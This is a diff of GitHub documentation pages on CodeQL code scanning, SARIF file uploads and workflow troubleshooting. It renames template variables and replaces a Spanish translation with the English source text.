||||
|
||||
Este flujo de trabajo de muestra utiliza {% data variables.product.prodname_actions %} para ejecutar un análisis de {% data variables.product.prodname_codeql %} en un ambiente contenido. El valor de `container.image` identifica el contenedor que se va a usar. En este ejemplo, la imagen se denomina `codeql-container`, con una etiqueta de `f0f91db`. Para más información, vea "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)".
|
||||
This sample workflow uses {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_codeql %} analysis in a containerized environment. The value of `container.image` identifies the container to use. In this example the image is named `codeql-container`, with a tag of `f0f91db`. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)."
|
||||
|
||||
``` yaml
|
||||
name: "{% data variables.product.prodname_codeql %}"
|
||||
|
||||
@@ -95,11 +95,11 @@ You can set up {% data variables.product.prodname_code_scanning %} in any public
|
||||
{% data reusables.repositories.sidebar-security %}
|
||||
1. To the right of "{% data variables.product.prodname_code_scanning_capc %} alerts", click **Set up {% data variables.product.prodname_code_scanning %}**.{% ifversion ghec or ghes or ghae %} If {% data variables.product.prodname_code_scanning %} is missing, you need to ask an organization owner or repository administrator to enable {% data variables.product.prodname_GH_advanced_security %}.{% endif %} For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
|
||||
|
||||
4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.product.prodname_codeql_workflow %} or on a third-party workflow.
|
||||
Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.product.prodname_codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository.
|
||||
4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.code-scanning.codeql_workflow %} or on a third-party workflow.
|
||||
Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.code-scanning.codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository.
|
||||
5. To customize how {% data variables.product.prodname_code_scanning %} scans your code, edit the workflow.
|
||||
|
||||
Generally you can commit the {% data variables.product.prodname_codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing.
|
||||
Generally you can commit the {% data variables.code-scanning.codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing.
|
||||
|
||||
For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)."
|
||||
6. Use the **Start commit** drop-down, and type a commit message.
|
||||
@@ -108,7 +108,7 @@ You can set up {% data variables.product.prodname_code_scanning %} in any public
|
||||
|
||||
8. Click **Commit new file** or **Propose new file**.
|
||||
|
||||
In the default {% data variables.product.prodname_codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence.
|
||||
In the default {% data variables.code-scanning.codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence.
|
||||
|
||||
The `on:pull_request` and `on:push` triggers for code scanning are each useful for different purposes. For more information, see "[Scanning pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-pull-requests)" and "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)."
|
||||
## Bulk set up of {% data variables.product.prodname_code_scanning %}
|
||||
|
||||
@@ -63,7 +63,7 @@ You can override the default behavior in your repository settings, by specifying
|
||||
|
||||
Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis.
|
||||
|
||||
For example, if the repository uses the {% data variables.product.prodname_codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java).
|
||||
For example, if the repository uses the {% data variables.code-scanning.codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java).
|
||||
|
||||
As with other pull request checks, you can see full details of the check failure on the **Checks** tab. For more information about configuring and troubleshooting, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" or "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)."
|
||||
|
||||
|
||||
@@ -69,7 +69,7 @@ You need to ensure that you select **Enable debug logging** . This option enable
|
||||
|
||||
### Creating {% data variables.product.prodname_codeql %} debugging artifacts using a workflow flag
|
||||
|
||||
You can create {% data variables.product.prodname_codeql %} debugging artifacts by using a flag in your workflow. For this, you need to modify the `init` step of your {% data variables.product.prodname_codeql_workflow %} file and set `debug: true`.
|
||||
You can create {% data variables.product.prodname_codeql %} debugging artifacts by using a flag in your workflow. For this, you need to modify the `init` step of your {% data variables.code-scanning.codeql_workflow %} file and set `debug: true`.
|
||||
|
||||
```yaml
|
||||
- name: Initialize CodeQL
|
||||
@@ -212,7 +212,7 @@ If you use self-hosted runners to run {% data variables.product.prodname_codeql
|
||||
|
||||
### Use matrix builds to parallelize the analysis
|
||||
|
||||
The default {% data variables.product.prodname_codeql_workflow %} uses a matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
|
||||
The default {% data variables.code-scanning.codeql_workflow %} uses a matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
|
||||
|
||||
### Reduce the amount of code being analyzed in a single workflow
|
||||
|
||||
@@ -243,9 +243,9 @@ You may be running extra queries or query suites in addition to the default quer
|
||||
|
||||
## Results differ between analysis platforms
|
||||
|
||||
If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.product.prodname_codeql_workflow %} on Linux, macOS, or Windows.
|
||||
If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.code-scanning.codeql_workflow %} on Linux, macOS, or Windows.
|
||||
|
||||
On GitHub-hosted runners that use Linux, the {% data variables.product.prodname_codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)."
|
||||
On GitHub-hosted runners that use Linux, the {% data variables.code-scanning.codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)."
|
||||
|
||||
{% endif %}
|
||||
|
||||
@@ -289,7 +289,7 @@ on:
|
||||
|
||||
### Analysis still failing on the default branch
|
||||
|
||||
If the {% data variables.product.prodname_codeql_workflow %} still fails on a commit made on the default branch, you need to check:
|
||||
If the {% data variables.code-scanning.codeql_workflow %} still fails on a commit made on the default branch, you need to check:
|
||||
|
||||
- whether {% data variables.product.prodname_dependabot %} authored the commit
|
||||
- whether the pull request that includes the commit has been merged using `@dependabot squash and merge`
|
||||
@@ -304,7 +304,7 @@ You will see this error if CodeQL is unable to find the named query, query suite
|
||||
- There is a typo in the workflow.
|
||||
- A resource the workflow refers to by path was renamed, deleted, or moved to a new location.
|
||||
|
||||
After verifying the location of the resource, you can update the workflow to specify the correct location. If you run additional queries in Go analysis, you may have been affected by the relocation of the source files. For more information, see [Relocation announcement: `github/codeql-go` moving into `github/codeql`](https://github.com/github/codeql-go/issues/741) in the github/codeql-go repository.
|
||||
After verifying the location of the resource, you can update the workflow to specify the correct location.
|
||||
|
||||
## Warning: "git checkout HEAD^2 is no longer necessary"
|
||||
|
||||
|
||||
@@ -31,7 +31,7 @@ SARIF (Static Analysis Results Interchange Format) is an [OASIS Standard](https:
|
||||
|
||||
To upload a SARIF file from a third-party static code analysis engine, you'll need to ensure that uploaded files use the SARIF 2.1.0 version. {% data variables.product.prodname_dotcom %} will parse the SARIF file and show alerts using the results in your repository as a part of the {% data variables.product.prodname_code_scanning %} experience. For more information, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github)." For more information about the SARIF 2.1.0 JSON schema, see [`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json).
|
||||
|
||||
If you're using {% data variables.product.prodname_actions %} with the {% data variables.product.prodname_codeql_workflow %}{% ifversion codeql-runner-supported %}, using the {% data variables.product.prodname_codeql_runner %},{% endif %} or using the {% data variables.product.prodname_codeql_cli %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)"{% ifversion codeql-runner-supported %}, "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)",{% endif %} or "[Installing CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
|
||||
If you're using {% data variables.product.prodname_actions %} with the {% data variables.code-scanning.codeql_workflow %}{% ifversion codeql-runner-supported %}, using the {% data variables.code-scanning.codeql_runner %},{% endif %} or using the {% data variables.product.prodname_codeql_cli %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)"{% ifversion codeql-runner-supported %}, "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)",{% endif %} or "[Installing CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
|
||||
|
||||
You can upload multiple SARIF files for the same commit, and display the data from each file as {% data variables.product.prodname_code_scanning %} results. When you upload multiple SARIF files for a commit, you must indicate a "category" for each analysis. The way to specify a category varies according to the analysis method:
|
||||
- Using the {% data variables.product.prodname_codeql_cli %} directly, pass the `--sarif-category` argument to the `codeql database analyze` command when you generate SARIF files. For more information, see "[Configuring CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#about-generating-code-scanning-results-with-codeql-cli)."
|
||||
@@ -57,7 +57,7 @@ The filepath has to be consistent across the runs to enable a computation of a s
|
||||
|
||||
{% data variables.product.prodname_dotcom %} uses the `partialFingerprints` property in the OASIS standard to detect when two results are logically identical. For more information, see the "[partialFingerprints property](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611)" entry in the OASIS documentation.
|
||||
|
||||
SARIF files created by the {% data variables.product.prodname_codeql_workflow %}, {% ifversion codeql-runner-supported %}using the {% data variables.product.prodname_codeql_runner %}, {% endif %}or using the {% data variables.product.prodname_codeql_cli %} include fingerprint data. If you upload a SARIF file using the `upload-sarif` action and this data is missing, {% data variables.product.prodname_dotcom %} attempts to populate the `partialFingerprints` field from the source files. For more information about uploading results, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)."
|
||||
SARIF files created by the {% data variables.code-scanning.codeql_workflow %}, {% ifversion codeql-runner-supported %}using the {% data variables.code-scanning.codeql_runner %}, {% endif %}or using the {% data variables.product.prodname_codeql_cli %} include fingerprint data. If you upload a SARIF file using the `upload-sarif` action and this data is missing, {% data variables.product.prodname_dotcom %} attempts to populate the `partialFingerprints` field from the source files. For more information about uploading results, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)."
|
||||
|
||||
If you upload a SARIF file without fingerprint data using the `/code-scanning/sarifs` API endpoint, the {% data variables.product.prodname_code_scanning %} alerts will be processed and displayed, but users may see duplicate alerts. To avoid seeing duplicate alerts, you should calculate fingerprint data and populate the `partialFingerprints` property before you upload the SARIF file. You may find the script that the `upload-sarif` action uses a helpful starting point: https://github.com/github/codeql-action/blob/main/src/fingerprints.ts. For more information about the API, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)."
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
---
|
||||
title: Subir un archivo SARIF a GitHub
|
||||
title: Uploading a SARIF file to GitHub
|
||||
shortTitle: Upload a SARIF file
|
||||
intro: '{% data reusables.code-scanning.you-can-upload-third-party-analysis %}'
|
||||
permissions: 'People with write permissions to a repository can upload {% data variables.product.prodname_code_scanning %} data generated outside {% data variables.product.prodname_dotcom %}.'
|
||||
@@ -23,57 +23,54 @@ topics:
|
||||
- Repositories
|
||||
- CI
|
||||
- SARIF
|
||||
ms.openlocfilehash: 80f95a5c74a465a285d73f1af9719b2f7a4981d6
|
||||
ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/09/2022
|
||||
ms.locfileid: '147705761'
|
||||
---
|
||||
{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %}
|
||||
|
||||
## Acerca de la carga de archivos SARIF para {% data variables.product.prodname_code_scanning %}
|
||||
|
||||
{% data variables.product.prodname_dotcom %} crea alertas de {% data variables.product.prodname_code_scanning %} en un repositorio utilizando información de los archivos de Formato de Intercambio para Resultados de Análisis Estático (SARIF). El archivo SARIF puede generarse desde una herramienta de análisis compatible con SARIF que ejecutes en el mismo flujo de trabajo de {% data variables.product.prodname_actions %} que utilizaste para cargar el archivo. Como alternativa, cuando se genere el archivo como un artefacto fuera de tu repositorio, puedes cargar el archivo SARIF directamente a algún repositorio y utilizar el flujo de trabajo para subir este archivo. Para más información, vea "[Administración de alertas de {% data variables.product.prodname_code_scanning %} para el repositorio](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)".
|
||||
{% data reusables.code-scanning.beta %}
|
||||
{% data reusables.code-scanning.enterprise-enable-code-scanning %}
|
||||
|
||||
Puedes generar archivos SARIF utilizando muchas herramientas de prueba de seguridad para análisis estático, incluyendo a {% data variables.product.prodname_codeql %}. Los resultados deben usar la versión 2.1.0 de SARIF. Para más información, vea "[Compatibilidad con SARIF para {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)".
|
||||
## About SARIF file uploads for {% data variables.product.prodname_code_scanning %}
|
||||
|
||||
Puedes cargar los resultados mediante {% data variables.product.prodname_actions %}, la API de {% data variables.product.prodname_code_scanning %},{% ifversion codeql-runner-supported %} el {% data variables.product.prodname_codeql_runner %}{% endif %} o la {% data variables.product.prodname_codeql_cli %}. El mejor método de carga dependerá de cómo generas el archivo SARIF, por ejemplo, si utilizas:
|
||||
{% data variables.product.prodname_dotcom %} creates {% data variables.product.prodname_code_scanning %} alerts in a repository using information from Static Analysis Results Interchange Format (SARIF) files. SARIF files can be uploaded to a repository using the API or {% data variables.product.prodname_actions %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
|
||||
|
||||
- {% data variables.product.prodname_actions %} para ejecutar la acción de {% data variables.product.prodname_codeql %}, no hay que hacer nada más. La acción de {% data variables.product.prodname_codeql %} carga el archivo de SARIF automáticamente cuando completa el análisis.
|
||||
- {% data variables.product.prodname_actions %} para ejecutar una herramienta de análisis compatible con SARIF, podías actualizar el flujo de trabajo para que incluya un último paso que cargue los resultados (míralo más adelante).
|
||||
- La {% data variables.product.prodname_codeql_cli %} para ejecutar el {% data variables.product.prodname_code_scanning %} en el sistema de CI, puedes usar la CLI para cargar los resultados en {% data variables.product.prodname_dotcom %} (para obtener más información, consulta "[Instalación de la {% data variables.product.prodname_codeql_cli %} en el sistema de CI](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% ifversion codeql-runner-supported %}
|
||||
- El {% data variables.product.prodname_codeql_runner %}, para ejecutar {% data variables.product.prodname_code_scanning %} en tu sistema de CI, de manera predeterminada, el ejecutor carga automáticamente los resultados en {% data variables.product.prodname_dotcom %} tras la finalización. Si bloquea la carga automática, cuando esté listo para cargar los resultados, puede usar el comando `upload` (para más información, vea "[Ejecución de {% data variables.product.prodname_codeql_runner %} en el sistema de CI](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)").{% endif %}
|
||||
- Una herramienta que genera resultados como un artefacto fuera del repositorio, puede usar la API {% data variables.product.prodname_code_scanning %} para cargar el archivo (para más información, vea "[Carga de un análisis como datos de SARIF](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)").
|
||||
You can generate SARIF files using many static analysis security testing tools, including {% data variables.product.prodname_codeql %}. The results must use SARIF version 2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)."
|
||||
|
||||
You can upload the results using {% data variables.product.prodname_actions %}, the {% data variables.product.prodname_code_scanning %} API,{% ifversion codeql-runner-supported %} the {% data variables.code-scanning.codeql_runner %},{% endif %} or the {% data variables.product.prodname_codeql_cli %}. The best upload method will depend on how you generate the SARIF file, for example, if you use:
|
||||
|
||||
- {% data variables.product.prodname_actions %} to run the {% data variables.product.prodname_codeql %} action, there is no further action required. The {% data variables.product.prodname_codeql %} action uploads the SARIF file automatically when it completes analysis.
|
||||
- {% data variables.product.prodname_actions %} to run a SARIF-compatible analysis tool, you could update the workflow to include a final step that uploads the results (see below).
|
||||
- The {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} in your CI system, you can use the CLI to upload results to {% data variables.product.prodname_dotcom %} (for more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% ifversion codeql-runner-supported %}
|
||||
- The {% data variables.code-scanning.codeql_runner %}, to run {% data variables.product.prodname_code_scanning %} in your CI system, by default the runner automatically uploads results to {% data variables.product.prodname_dotcom %} on completion. If you block the automatic upload, when you are ready to upload results you can use the `upload` command (for more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)").{% endif %}
|
||||
- A tool that generates results as an artifact outside of your repository, you can use the {% data variables.product.prodname_code_scanning %} API to upload the file (for more information, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)").
|
||||
|
||||
{% data reusables.code-scanning.not-available %}
|
||||
|
||||
## Cargar un análisis de {% data variables.product.prodname_code_scanning %} con {% data variables.product.prodname_actions %}
|
||||
## Uploading a {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_actions %}
|
||||
|
||||
Para utilizar las {% data variables.product.prodname_actions %} para cargar un archivo SARIF de terceros en un repositorio, necesitas un flujo de trabajo. Para más información, vea "[Más información sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
|
||||
To use {% data variables.product.prodname_actions %} to upload a third-party SARIF file to a repository, you'll need a workflow. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
|
||||
|
||||
El flujo de trabajo tendrá que usar la acción `upload-sarif`, que forma parte del repositorio `github/codeql-action`. Tiene parámetros de entrada que puedes utilizar para configurar la carga. Los parámetros de entrada principales que utilizarás serán:
|
||||
Your workflow will need to use the `upload-sarif` action, which is part of the `github/codeql-action` repository. It has input parameters that you can use to configure the upload. The main input parameters you'll use are:
|
||||
|
||||
- `sarif-file`, que configura el archivo o directorio de los archivos SARIF que se van a cargar. La ruta de acceso del directorio o archivo es relativa a la raíz del repositorio.
|
||||
- `category` (opcional), que asigna una categoría para los resultados en el archivo SARIF. Esto te permite analizar la misma confirmación de varias formas y revisar los resultados utilizando la vista del {% data variables.product.prodname_code_scanning %} en {% data variables.product.prodname_dotcom %}. Por ejemplo, puedes analizar herramientas múltiples y, en los mono-repositorios, puedes analizar pedazos diferentes del repositorio con base en el subconjunto de archivos que cambiaron.
|
||||
- `sarif-file`, which configures the file or directory of SARIF files to be uploaded. The directory or file path is relative to the root of the repository.
|
||||
- `category` (optional), which assigns a category for results in the SARIF file. This enables you to analyze the same commit in multiple ways and review the results using the {% data variables.product.prodname_code_scanning %} views in {% data variables.product.prodname_dotcom %}. For example, you can analyze using multiple tools, and in mono-repos, you can analyze different slices of the repository based on the subset of changed files.
|
||||
|
||||
Para más información, vea la [acción `upload-sarif`](https://github.com/github/codeql-action/tree/{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}/upload-sarif).
|
||||
For more information see the [`upload-sarif` action](https://github.com/github/codeql-action/tree/{% ifversion actions-node16-action %}v2{% else %}v1{% endif %}/upload-sarif).
|
||||
|
||||
La acción `upload-sarif` se puede configurar para ejecutarse cuando se producen los eventos `push` y `scheduled`. Para más información sobre los eventos de {% data variables.product.prodname_actions %}, vea "[Eventos que desencadenan flujos de trabajo](/actions/reference/events-that-trigger-workflows)".
|
||||
The `upload-sarif` action can be configured to run when the `push` and `scheduled` event occur. For more information about {% data variables.product.prodname_actions %} events, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
|
||||
|
||||
Si el archivo SARIF no incluye `partialFingerprints`, la acción `upload-sarif` calculará el campo `partialFingerprints` automáticamente e intentará evitar alertas duplicadas. {% data variables.product.prodname_dotcom %} solo puede crear `partialFingerprints` cuando el repositorio contiene el archivo SARIF y el código fuente usado en el análisis estático. Para más información sobre cómo evitar alertas duplicadas, vea "[Acerca de la compatibilidad con SARIF para el análisis de código](/code-security/secure-coding/sarif-support-for-code-scanning#providing-data-to-track-code-scanning-alerts-across-runs)".
|
||||
If your SARIF file doesn't include `partialFingerprints`, the `upload-sarif` action will calculate the `partialFingerprints` field for you and attempt to prevent duplicate alerts. {% data variables.product.prodname_dotcom %} can only create `partialFingerprints` when the repository contains both the SARIF file and the source code used in the static analysis. For more information about preventing duplicate alerts, see "[About SARIF support for code scanning](/code-security/secure-coding/sarif-support-for-code-scanning#providing-data-to-track-code-scanning-alerts-across-runs)."
|
||||
|
||||
{% data reusables.code-scanning.upload-sarif-alert-limit %}
|
||||
|
||||
### Ejemplo de flujo de trabajo para los archivos SARIF generados fuera de un repositorio
|
||||
### Example workflow for SARIF files generated outside of a repository
|
||||
|
||||
Puedes crear un nuevo flujo de trabajo que cargue archivos SARIF después de que los confirmes en tu repositorio. Esto resulta útil cuando el archivo SARIF se genera como un artefacto fuera del repositorio.
|
||||
You can create a new workflow that uploads SARIF files after you commit them to your repository. This is useful when the SARIF file is generated as an artifact outside of your repository.
|
||||
|
||||
Este ejemplo de flujo de trabajo se ejecuta cada que las confirmaciones se cargan al repositorio. La acción usa la propiedad `partialFingerprints` para determinar si se han producido cambios. Además de ejecutarse cuando se insertan confirmaciones, el flujo de trabajo está programado para ejecutarse una vez a la semana. Para más información, vea "[Eventos que desencadenan flujos de trabajo](/actions/reference/events-that-trigger-workflows)".
|
||||
This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
|
||||
|
||||
Este flujo de trabajo carga el archivo `results.sarif` ubicado en la raíz del repositorio. Para más información sobre cómo crear un archivo de flujo de trabajo, vea "[Más información sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
|
||||
This workflow uploads the `results.sarif` file located in the root of the repository. For more information about creating a workflow file, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
|
||||
|
||||
Como alternativa, puedes modificar este flujo de trabajo para cargar un directorio de archivos SARIF. Por ejemplo, podría colocar todos los archivos SARIF en un directorio en la raíz del repositorio denominado `sarif-output` y establecer el parámetro de entrada de la acción `sarif_file` en `sarif-output`. Tenga en cuenta que si carga un directorio, cada archivo SARIF debe incluir un valor `runAutomationDetails.id` único para definir la categoría de los resultados. Para más información, vea "[Objeto `runAutomationDetails`](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#runautomationdetails-object)".
|
||||
Alternatively, you could modify this workflow to upload a directory of SARIF files. For example, you could place all SARIF files in a directory in the root of your repository called `sarif-output` and set the action's input parameter `sarif_file` to `sarif-output`. Note that if you upload a directory, each SARIF file must include a unique `runAutomationDetails.id` to define the category for the results. For more information, see "[`runAutomationDetails` object](/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning#runautomationdetails-object)."
|
||||
|
||||
```yaml
|
||||
name: "Upload SARIF"
|
||||
@@ -108,13 +105,13 @@ jobs:
|
||||
category: my-analysis-tool
|
||||
```
|
||||
|
||||
### Ejemplo de flujo de trabajo que ejecuta la herramienta de análisis ESLint
|
||||
### Example workflow that runs the ESLint analysis tool
|
||||
|
||||
Si genera el archivo SARIF de terceros como parte de un flujo de trabajo de integración continua (CI), puede agregar la acción `upload-sarif` como un paso después de ejecutar las pruebas de CI. Si aún no tienes un flujo de trabajo de IC, puedes crearlo utilizando una plantilla de {% data variables.product.prodname_actions %}. Para más información, vea el "[Inicio rápido de {% data variables.product.prodname_actions %}](/actions/quickstart)".
|
||||
If you generate your third-party SARIF file as part of a continuous integration (CI) workflow, you can add the `upload-sarif` action as a step after running your CI tests. If you don't already have a CI workflow, you can create one using a {% data variables.product.prodname_actions %} template. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
|
||||
|
||||
Este ejemplo de flujo de trabajo se ejecuta cada que las confirmaciones se cargan al repositorio. La acción usa la propiedad `partialFingerprints` para determinar si se han producido cambios. Además de ejecutarse cuando se insertan confirmaciones, el flujo de trabajo está programado para ejecutarse una vez a la semana. Para más información, vea "[Eventos que desencadenan flujos de trabajo](/actions/reference/events-that-trigger-workflows)".
|
||||
This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
|
||||
|
||||
El flujo de trabajo muestra un ejemplo de ejecución de la herramienta de análisis estático ESLint como un paso en un flujo de trabajo. El paso `Run ESLint` ejecuta la herramienta ESLint y genera el archivo `results.sarif`. Después, el flujo de trabajo carga el archivo `results.sarif` en {% data variables.product.prodname_dotcom %} mediante la acción `upload-sarif`. Para más información sobre cómo crear un archivo de flujo de trabajo, vea "[Introducción a Acciones de GitHub](/actions/learn-github-actions/introduction-to-github-actions)".
|
||||
The workflow shows an example of running the ESLint static analysis tool as a step in a workflow. The `Run ESLint` step runs the ESLint tool and outputs the `results.sarif` file. The workflow then uploads the `results.sarif` file to {% data variables.product.prodname_dotcom %} using the `upload-sarif` action. For more information about creating a workflow file, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)."
|
||||
|
||||
```yaml
|
||||
name: "ESLint analysis"
|
||||
@@ -150,9 +147,9 @@ jobs:
|
||||
sarif_file: results.sarif
|
||||
```
|
||||
|
||||
## Información adicional
|
||||
## Further reading
|
||||
|
||||
- "[Sintaxis de flujos de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)"
|
||||
- "[Visualización del historial de flujos de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)"
|
||||
- "[Acerca de {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} en el sistema de CI](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"
|
||||
- "[Carga de un análisis como datos de SARIF](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"
|
||||
- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)"
|
||||
- "[Viewing your workflow history](/actions/managing-workflow-runs/viewing-workflow-run-history)"
|
||||
- "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"
|
||||
- "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"
|
||||
|
||||
